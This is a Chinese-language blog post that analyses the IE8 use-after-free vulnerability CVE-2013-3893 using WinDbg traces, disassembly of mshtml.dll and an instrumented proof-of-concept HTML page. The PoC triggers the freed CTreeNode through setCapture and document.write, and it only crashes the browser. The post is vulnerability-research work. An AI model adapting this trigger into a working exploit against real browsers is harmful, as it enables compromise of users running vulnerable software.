CVE-2013-3893 UAF Analysis

Intro

前段时间工作中一直在干一些乱七八糟的事情,重心基本都是在Android上,掐指一算大概也有几个月没在Windows上用过调试器了。昨天心血来潮分析了一下IE的CVE-2013-3893漏洞。

POC

POC来自这里,使用XP下的IE8作为调试对象:

文件名:mshtml.dll
文件版本:8.00.6001.18702
MD5:D469A0EBA2EF5C6BEE8065B7E3196E5E
SHA1:FD6CB9D197BB58C339DEFE6E2C3B03FB3B62B440

调试过程

定位出错对象

IE加载原始的POC,异常中断时的信息如下:

0:011> g
(24c.bd0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000003 ebx=02ebe8d0 ecx=feeefeee edx=00000001 esi=043c8a68 edi=00000000
eip=6363fcc4 esp=02ebe814 ebp=02ebe828 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CElement::Doc:
6363fcc4 8b01            mov     eax,dword ptr [ecx]  ds:0023:feeefeee=????????

CallStack:

0:011> k
ChildEBP RetAddr
02ebe810 63662cfd mshtml!CElement::Doc
02ebe814 635f3688 mshtml!CTreeNode::GetLookasidePtr+0x1a
02ebe828 635f3fe4 mshtml!CTreeNode::NodeAddRef+0x31
02ebe8ac 637fd38f mshtml!CDoc::PumpMessage+0x4a3
02ebe968 638b9650 mshtml!CDoc::SetMouseCapture+0xe6
02ebe990 638e5dab mshtml!CElement::setCapture+0x50
02ebe9b8 636430c9 mshtml!Method_void_oDoVARIANTBOOL+0xc4
02ebea2c 6366418a mshtml!CBase::ContextInvokeEx+0x5d1
02ebea7c 6362b6ce mshtml!CElement::ContextInvokeEx+0x9d
02ebeaa8 63642eec mshtml!CInput::VersionedInvokeEx+0x2d

异常的地址位于CElement::Doc函数的第一句:

.text:6363FCC4 ; public: class CDoc * __thiscall CElement::Doc(void)const
.text:6363FCC4 ?Doc@CElement@@QBEPAVCDoc@@XZ proc near ; CODE XREF: CPeerHolder::AttachPeer(IElementBehavior *)-3EFBCp
.text:6363FCC4                                         ; CElement::EnsureIdentityPeer(void)+32p ...
.text:6363FCC4                 mov     eax, [ecx]
.text:6363FCC6                 mov     edx, [eax+70h]
.text:6363FCC9                 call    edx
.text:6363FCCB                 mov     eax, [eax+0Ch]
.text:6363FCCE                 retn
.text:6363FCCE ?Doc@CElement@@QBEPAVCDoc@@XZ endp

显然,尝试在获取当前CElement对象的虚表时,发生了内存访问异常错误,当前的对象即ECX的值为feeefeee,即包含了这个CElement的对象在释放后被使用,该对象的内存已经被设为feeefeee,尝试从该对象中取出的CElement对象是一个不存在的对象。

往上一层看代码,当前属于CTreeNode的代码:

.text:63662CE3 ; public: void * __thiscall CTreeNode::GetLookasidePtr(int)
.text:63662CE3 ?GetLookasidePtr@CTreeNode@@QAEPAXH@Z proc near
.text:63662CE3                                         ; CODE XREF: CTreeNode::NodeAddRef(void)-6F68Fp
.text:63662CE3                                         ; CElement::get_currentStyle(IHTMLCurrentStyle * *,CTreeNode *)+3Ap ...
.text:63662CE3                 mov     eax, [esi+40h]
.text:63662CE6                 xor     edx, edx
.text:63662CE8                 inc     edx
.text:63662CE9                 mov     ecx, edi
.text:63662CEB                 shr     eax, 1
.text:63662CED                 shl     edx, cl
.text:63662CEF                 and     eax, 3
.text:63662CF2                 test    dl, al
.text:63662CF4                 jz      short loc_63662D0A
.text:63662CF6                 mov     ecx, [esi]
.text:63662CF8                 call    ?Doc@CElement@@QBEPAVCDoc@@XZ ; CElement::Doc(void)
.text:63662CFD                 lea     ecx, [esi+edi*4]
.text:63662D00                 push    ecx
.text:63662D01                 lea     ecx, [eax+6Ch]
.text:63662D04                 call    ?Lookup@CHtPvPv@@QBEPAXPAX@Z ; CHtPvPv::Lookup(void *)
.text:63662D09                 retn

根据代码,该CTreeNode偏移0处保存了一个CElement对象的地址,ESI为CTreeNode对象,查看当前对象的内存:

0:011> dc esi
043c8a68  feeefeee feeefeee feeefeee feeefeee  ................
043c8a78  feeefeee feeefeee feeefeee feeefeee  ................
043c8a88  feeefeee feeefeee feeefeee feeefeee  ................

所以,产生异常的对象是CTreeNode。

跟踪对象释放情况

修改POC代码,按照惯例加入Math.atan2

<html>
<script>
function trigger()
{
  Math.atan2(0xbabe, "[*] Creating id_0.");
  var id_0 = document.createElement("sup");
  Math.atan2(0xbabe, "[*] Creating id_1.");
  var id_1 = document.createElement("audio");
  Math.atan2(0xbabe, "[*] Appending id_0.");
  document.body.appendChild(id_0);
  Math.atan2(0xbabe, "[*] Appending id_1.");
  document.body.appendChild(id_1);
  Math.atan2(0xbabe, "[*] applyElement id_0.");
  id_1.applyElement(id_0);
  id_0.onlosecapture=function(e) {
    Math.atan2(0xbabe, "[*] Enter id_0.onlosecapture.");
    document.write("");
    Math.atan2(0xbabe, "[*] Leave id_0.onlosecapture.");
  }
  Math.atan2(0xbabe, "[*] Setting id_0['outerText'].");
  id_0['outerText']="";
  Math.atan2(0xbabe, "[*] Calling id_0.setCapture()");
  id_0.setCapture();
  Math.atan2(0xbabe, "[*] Calling id_1.setCapture()");
  id_1.setCapture();
}
window.onload = function() {
  Math.atan2(0xbabe, "[*] Before trigger enter.");
  trigger();
  Math.atan2(0xbabe, "[*] After trigger enter.");
}
</script>
</html>

调试器载入IE后,使用sxe ld JScript.dll下断点。接下来载入POC页面,此时由于IE加载JScript.dll,调试器会中断,然后利用如下断点进行整体流程和对象的跟踪:

bu jscript!JsAtan2 ".printf "DEBUG %mu", poi(poi(poi(esp+14)+8)+8);.echo;g"
bp 635A31E6 ".printf "DEBUG CTreeNode created: %08x", eax;.echo;g"
bp 63625825 ".printf "DEBUG CTreeNode removed: %08x", edx;.echo;g"
bp 635A26D0 ".printf "DEBUG CElement created: %08x", eax;.echo;g"
bp 636257D2 ".printf "DEBUG CElement removed: %08x", ecx;.echo;g"
其中:
CTreeNode::CTreeNode
 635A31E6
CTreeNode::Release
 63662F97
CElement::CElement
 635A26D0
CElement::~CElement
 636257D2

结果如下:

0:011> g
DEBUG CElement created: 043a7c08
DEBUG CTreeNode created: 043c8a68
DEBUG [*] Before trigger enter.
DEBUG [*] Creating id_0.
DEBUG CElement created: 043a7cb0
DEBUG [*] Creating id_1.
DEBUG CElement created: 00209970
DEBUG [*] Appending id_0.
DEBUG CTreeNode created: 001fbbc0
DEBUG [*] Appending id_1.
DEBUG CTreeNode created: 043bba70
DEBUG [*] applyElement id_0.
DEBUG CTreeNode removed: 001fbbc0
DEBUG CTreeNode created: 001fbbc0
DEBUG [*] Setting id_0['outerText'].
DEBUG CTreeNode removed: 043bba70
DEBUG CTreeNode removed: 001fbbc0
DEBUG [*] Calling id_0.setCapture()
DEBUG [*] Calling id_1.setCapture()
DEBUG [*] Enter id_0.onlosecapture.
DEBUG CElement created: 043b58f0
DEBUG CTreeNode created: 043b5a18
DEBUG CTreeNode removed: 043c8a00
DEBUG CElement removed: 043b5380
DEBUG CTreeNode removed: 043c8b30
DEBUG CElement removed: 043c8ae8
DEBUG CTreeNode removed: 043c8c18
DEBUG CElement removed: 043c8b98
DEBUG CTreeNode removed: 043c8a68
DEBUG CTreeNode removed: 043c8910
DEBUG CElement removed: 043b5248
DEBUG CTreeNode created: 043b4a30
DEBUG CTreeNode removed: 001f9130
DEBUG [*] Leave id_0.onlosecapture.
(24c.bd0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000003 ebx=02ebe8d0 ecx=feeefeee edx=00000001 esi=043c8a68 edi=00000000
eip=6363fcc4 esp=02ebe814 ebp=02ebe828 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CElement::Doc:
6363fcc4 8b01            mov     eax,dword ptr [ecx]  ds:0023:feeefeee=????????

根据上述Log,可以看到,产生UAF的CTreeNode是最初分配的,姑且称之为Root_0,因为我发现之后Append的两个对象的父节点都是它。CTreeNode +0处是该节点对应的CElement,+4是父节点。
之前的流程都比较清晰,由于id_0设置了onlosecapture回调,id_1调用setCapture()时会导致id_0的onlosecapture回调被调用。而onlosecapture中的document.write(“”);则会导致之前的对象被释放。从逻辑上来看,应该是setCapture内部没有对CTreeNode处理完善,在id_1调用setCapture的某个环节,id_0的onlosecapture被执行,document.write把最初的CTreeNode被释放,之后回到setCapture中,继续使用了该对象,导致UAF。

UAF原因分析

setCapture对应的处理代码位于CDoc::SetMouseCapture,第二次进入CDoc::SetMouseCapture也就是id_1调用的时候,走到的关键代码是这里:

.text:635F3F68                 mov     eax, [eax+14h]  ; eax + 0x14 => Vuln CTreeNode
.text:635F3F68                                         ; eax => First CElement.
.text:635F3F6B
.text:635F3F6B loc_635F3F6B:                           ; CODE XREF: CDoc::PumpMessage(CMessage *,CTreeNode *,int)+C1E1Ej
.text:635F3F6B                 mov     dword ptr [esp+78h+saved_ctree_node], eax
.text:635F3F6F
.text:635F3F6F loc_635F3F6F:                           ; CODE XREF: CDoc::PumpMessage(CMessage *,CTreeNode *,int)+1AAEj
.text:635F3F6F                                         ; CDoc::PumpMessage(CMessage *,CTreeNode *,int)+209928j
.text:635F3F6F                 cmp     dword ptr [esp+78h+saved_ctree_node], 0
.text:635F3F74                 jz      loc_635F439A
.text:635F3F7A                 and     dword ptr [edi+758h], 0FFFFFF7Fh
.text:635F3F84                 push    edi
.text:635F3F85                 call    ?ReleaseDetachedCaptures@CDoc@@QAEXXZ ; CDoc::ReleaseDetachedCaptures(void)
.text:635F3F8A                 cmp     [esp+78h+var_4C], 0
.text:635F3F8F                 jnz     loc_635F587A    ; 3897 Dead CTreeNode
.text:635F3F95
.text:635F3F95 loc_635F3F95:                           ; CODE XREF: CDoc::PumpMessage(CMessage *,CTreeNode *,int)+1AC2j
.text:635F3F95                                         ; CDoc::PumpMessage(CMessage *,CTreeNode *,int)+1B03j
.text:635F3F95                 cmp     [ebp+arg_8], 0
.text:635F3F99                 jnz     short loc_635F3FBE
.text:635F3F9B                 mov     eax, [ebx+4]
.text:635F3F9E                 cmp     eax, 100h
.text:635F3FA3                 jb      short loc_635F3FBE
.text:635F3FA5                 cmp     eax, 101h
.text:635F3FAA                 jbe     loc_6368DCED
.text:635F3FB0                 add     eax, 0FFFFFEFCh
.text:635F3FB5                 cmp     eax, 1
.text:635F3FB8                 jbe     loc_6368DCED
.text:635F3FBE
.text:635F3FBE loc_635F3FBE:                           ; CODE XREF: CDoc::PumpMessage(CMessage *,CTreeNode *,int)+1D2j
.text:635F3FBE                                         ; CDoc::PumpMessage(CMessage *,CTreeNode *,int)+1DCj ...
.text:635F3FBE                 test    byte ptr [ebx+88h], 1
.text:635F3FC5                 jnz     loc_635F40ED
.text:635F3FCB                 mov     edi, dword ptr [esp+78h+saved_ctree_node]
.text:635F3FCF                 cmp     edi, [esp+78h+var_48]
.text:635F3FD3                 jz      loc_63755023
.text:635F3FD9
.text:635F3FD9 loc_635F3FD9:                           ; CODE XREF: CDoc::PumpMessage(CMessage *,CTreeNode *,int)+16126Cj
.text:635F3FD9                 mov     ecx, edi        ; ecx = Dead CTreeNode
.text:635F3FDB                 mov     dword ptr [esp+78h+WideCharStr], edi
.text:635F3FDF                 call    ?NodeAddRef@CTreeNode@@QAEJXZ ; CTreeNode::NodeAddRef(void)
.text:635F3FE4                 test    eax, eax

635F3F68的时候,eax是最初创建的CElement对象,+14是对应的CTreeNode,此时,两个对象都还没有被释放。之后调用了CDoc::ReleaseDetachedCaptures。在ReleaseDetachedCaptures函数中,会重新进入CDoc::SetMouseCapture,并走到调用CDoc::ClearMouseCapture,该函数会导致onlosecapture回调的触发:

.text:636B6490                 xor     eax, eax
.text:636B6492                 push    eax
.text:636B6493                 push    eax
.text:636B6494                 push    0FFFFFFFFh
.text:636B6496                 push    eax
.text:636B6497                 push    1
.text:636B6499                 push    offset _s_propdescCElementonlosecapture
.text:636B649E                 mov     ecx, esi
.text:636B64A0                 call    ?FireEvent@CElement@@QAEJPBUPROPERTYDESC_BASIC@@HPAVCTreeNode@@JPAUEVENTINFO@@H@Z ; CElement::FireEvent(PROPERTYDESC_BASIC const *,int,CTreeNode *,long,EVENTINFO *,int)
.text:636B64A5                 mov     ecx, [ebp+var_8]

之后就是进入onlosecapture,执行document.write,CTreeNode被释放。然而,PumpMessage在ReleaseDetachedCaptures之后的代码中,直接使用了保存在栈中的CTreeNode对象,最终通过635F3FDF处调用CTreeNode::NodeAddRef访问到了已经释放的CTreeNode对象。
大体上,触发UAF的原因是:

  1. 保存CTreeNode到栈中;
  2. 调用ReleaseDetachedCaptures导致栈中的对象被释放;
  3. 没有做详细检查直接使用该对象。

未完待续

这次注意到了一些有意思的地方,如:

  • 元素被加入到DOM树的时候,需要用CTreeNode表示各个结点,每个CTreeNode都有其对应的元素(即CElement)和父节点的CTreeNode。
  • document.write导致原始的DOM树失效,并重新建立一个。
  • id_0[‘outerText’]=””;导致了两个元素对应的节点都被摘除。

由于太多细节不清楚,对此还是一知半解,等以后分析再慢慢补了。

参考

  1. http://zenhumany.blog.163.com/blog/static/17180663320139305259394/

发表评论